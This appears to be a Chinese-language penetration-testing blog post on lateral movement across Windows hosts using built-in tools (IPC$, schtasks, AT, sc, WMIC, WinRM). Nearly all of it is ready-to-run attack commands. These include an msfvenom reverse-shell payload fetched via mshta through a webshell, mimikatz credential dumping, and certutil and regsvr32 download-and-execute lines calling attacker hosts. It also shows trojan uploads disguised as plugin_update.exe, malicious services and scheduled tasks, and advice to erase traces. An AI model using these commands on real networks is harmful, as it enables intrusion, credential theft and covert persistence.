内置工具横向移动

发布于 2021-07-23  494 次阅读


《渗透测试》目录

一、IPC+Schtasks+AT   (Schtasks是windows最新的一些版本的定时任务命令,AT是旧版本定时任务命令)

1.反弹shell

生成hta文件(format为hta-psh)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.91 lport=6666 -f hta-psh -o 6666.hta

通过GET请求去上传木马(可以通过bp发包的形式)
http://192.168.78.95:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=cmd /c mshta http://192.168.78.91:8000/6666.hta

(1)获取账号密码

获得meterpreter之后可以使用hashdump或者load kiwi模块获取密码(mimikatz)
mimikatz装载后的命令
getsystem        (提权)
creds_all        (获取全部密码信息)

(2)登录验证(由于使用rdp很容易被管理员发现,所以使用其他方式利用账号密码)

crackmapexec smb 192.168.78.95 -u 'web\administrator' -p '1qaz@WSX' --shares     (开启默认共享)
smbclient //192.168.78.95/C$ -U 'web\administrator%1qaz@WSX'      (使用kali自带的smb工具进行连接访问目标文件,可通过get和put命令进行文件查看和上传)

(3)内网主机存活探测

使用nbtscan.exe或arp-scan.exe进行内网主机存活探测

2.IPC$简介:https://blog.51cto.com/userli/68878

IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

3.IPC$利用条件

  • 开放了139、445端口
  • 目标开启IPC$文件共享服务
  • 需要目标机器的管理员账号和密码

4.常用命令

(1)连接

net use \\10.10.10.201\c$ /user:administrator "1qaz@WSX"

(2)查看连接情况

net use

(3)查看目标主机时间

net time \\10.10.10.201

(4)删除连接

net use \\10.10.10.201\c$ /del /y            (/y表示确认)
net use * /del /y                (删除所有连接)

(5)文件上传下载

上传:copy shell.exe \\10.10.10.201\c$\windows\temp\plugin_update.exe
下载:copy \\10.10.10.201\c$\59.exe c:\

5.Schtasks命令(重点):https://blog.csdn.net/qq_39680564/article/details/88993633

允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
创建定时任务:
schtasks /create /s 10.10.10.201 /u administrator /p "1qaz@WSX" /sc MINUTE /mo 1 /tn test1 /tr "C:\b7777.exe"
查询定时任务:
schtasks /query /s 10.10.10.201 /tn test1    

6.IPC+Schtasks

net use \\10.10.10.201 /user:administrator "1qaz@WSX34"
dir \\10.10.10.201\c$
copy c:\windows\temp\59.exe \\10.10.10.201\c$
schtasks /create /s 10.10.10.201 /u administrator /p "1qaz@WSX3e" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe"
##################/sc为设置定时模式,/mo为设置频率,/tn为设置名称,/tr为设置操作(一般为监听本地端口,因为内网一般用正向连接)######################
schtasks /delete /s 10.10.10.201 /tn test2                (执行完毕后清除痕迹)

7.IPC+AT(适用于低版本系统)

net use \\10.10.10.201 /user:administrator "1qaz@WSX3e"

查看远程主机时间:

net time \\10.10.10.201

AT命令添加任务:

at \\10.10.10.201 18:10 c:\59.exe            (根据上面查询的时间来指定任务执行时间)

AT命令删除任务:

at \\10.10.10.201 1 /delete            (根据产生的job ID进行删除任务)

注意:at 在windows server 2012等新版系统中已被弃用


二、IPC+SC

1.IPC+SC

(1)sc创建服务执行:

sc \\10.10.10.201 create test binpath= "c:\59.exe" obj= "de1ay\administrator" password= 1qaz@WSX3e
sc \\10.10.10.201 start test

sc \\10.10.10.201 qc test

三、WMIC

1.WMIC简介

WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术;用户可以使用WMI管理本地和远程计算机  。  

WMI:基于 windows 操作系统的管理数据和操作的基础设施。在 windows 2000 之后的操作系统中内置了该服务。WMI 使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM 中使用类表示管理对象,命名空间是一个类的集合。

通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口), 它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。而WMIC是为WMI提供的命令行界面。

2.WMIC使用:https://blog.csdn.net/lhh134/article/details/104150949

(1)查询进程信息:

wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process list brief

(2)首先WMI并不支持执行命令,而是支持执行文件但是你可以加相应的参数,比如:

wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "cmd.exe /c ipconfig"        (没有回显,只会返回一个进程ID)

(3)创建进程:

wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "calc.exe"

(4)下载远程文件并执行:

wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.80/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"

(5)利用create创建进程:

wmic process call create /?

如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题。

如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用。

3.WMIC横向移动(实例,仅供参考)

wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll"        (需要能够出网访问vps)

wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显:

wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create “cmd /c calc.exe”

四、WinRM

1.WinRM简介:

https://0x0c.cc/2019/09/25/%E5%86%85%E7%BD%91%E6%A8%AA%E7%A7%BB%E4%B9%8BWinRM/  

WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)& 5986 (HTTPS),在WinServer2012及以后默认开启。

2.开启WinRM

(1)判断是否开启WinRM服务

winrm enumerate winrm/config/listener

(2)命令开启WinRM服务:

winrm quickconfig      (进行快速配置)

WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。    (进行操作的主机需要在信任列表中)

(3)设置允许远程主机访问及访问远程主机:

winrm set winrm/config/client @{TrustedHosts="*"}       (在靶场中开启服务)

3.Winrs执行命令

winrs -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e ipconfig

4.WinRM横向移动

利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程。

(1)在远程机器上打开进程

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e

(2)在远程机器上创建服务

winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\59.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e            (创建一个服务用来启动上传的木马)

(3)在远程机器上启动服务

winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e    (name指定服务名)

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。